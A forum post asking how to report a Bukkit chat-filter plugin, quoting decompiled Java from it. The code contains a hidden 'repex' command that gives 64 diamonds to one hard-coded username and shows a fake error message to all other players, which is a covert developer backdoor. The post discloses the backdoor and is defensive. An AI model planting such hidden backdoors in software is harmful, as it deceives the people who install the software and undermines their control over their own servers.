How to "report" a plugin

I had a little problems with the "script" in rules.yml, with this plugin:

http://dev.bukkit.org/server-mods/chatregexfilter-2-1-regular-expr/

So a friend decompiled the code, and found following code:

Code:

 public boolean onCommand(CommandSender sender, Command cmd, String arg2, String[] arg3)
  {
    Player player = null;
    if ((sender instanceof Player)) {
      player = (Player)sender;
    }
    if (player == null) {
      return false;
    }
    if (!cmd.getName().equalsIgnoreCase("repex")) {
      return false;
    }
    if (player.getName().equalsIgnoreCase("addemod")) {
      player.getInventory().addItem(new ItemStack[] { new ItemStack(Material.DIAMOND, 64) });
      player.sendMessage(ChatColor.GREEN + "Diamonds for you, sir! " + ChatColor.BLUE + ":)");
      return true;
    }
    player.sendMessage(ChatColor.DARK_RED + "An error has occurred, please contact adde! " + ChatColor.DARK_BLUE + ":(");
    return true;
  }

How do I report the plugin?
